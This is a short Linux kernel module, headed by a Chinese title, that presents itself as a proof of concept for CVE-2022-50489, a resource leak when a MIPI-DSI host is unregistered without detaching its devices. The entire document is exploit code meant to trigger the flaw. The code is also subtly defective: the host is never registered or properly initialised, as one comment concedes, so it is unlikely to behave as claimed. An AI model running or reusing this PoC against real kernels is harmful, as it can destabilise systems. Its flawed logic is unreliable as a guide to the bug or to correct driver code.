Linux内核drm/mipi-dsi主机注销时设备未分离导致资源泄漏

/* * CVE-2022-50489 PoC - Trigger MIPI-DSI host unregister without device detach * This PoC demonstrates how to trigger the vulnerability by registering * a MIPI-DSI host, attaching devices, and then unregistering the host * without proper device detachment. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/mipi_dsi.h> #include <drm/drm_mipi_dsi.h> static struct mipi_dsi_host *test_host; static struct mipi_dsi_device *test_device; static int test_host_detach(struct mipi_dsi_host *host, struct mipi_dsi_device *device) { pr_info("CVE-2022-50489: host detach callback called\n"); /* In vulnerable kernel, this callback is never invoked */ return 0; } static struct mipi_dsi_host_ops test_host_ops = { .detach = test_host_detach, }; static int __init cve_2022_50489_init(void) { struct mipi_dsi_device_info info = { .type = "test-device", .channel = 0, .node = NULL, }; pr_info("CVE-2022-50489: PoC module loaded\n"); /* Allocate and register a test MIPI-DSI host */ test_host = kzalloc(sizeof(*test_host), GFP_KERNEL); if (!test_host) return -ENOMEM; test_host->ops = &test_host_ops; /* Note: In real scenario, host should be properly initialized */ /* Create a DSI device attached to the host */ test_device = mipi_dsi_device_register_full(test_host, &info); if (IS_ERR(test_device)) { pr_err("Failed to register DSI device\n"); kfree(test_host); return PTR_ERR(test_device); } /* Trigger the vulnerability: unregister host without detaching device */ /* In vulnerable kernel, test_host_detach() will NOT be called */ mipi_dsi_host_unregister(test_host); pr_info("CVE-2022-50489: Host unregistered, check if detach was called\n"); return 0; } static void __exit cve_2022_50489_exit(void) { if (test_host) kfree(test_host); pr_info("CVE-2022-50489: PoC module unloaded\n"); } module_init(cve_2022_50489_init); module_exit(cve_2022_50489_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50489 - MIPI-DSI host unregister resource leak");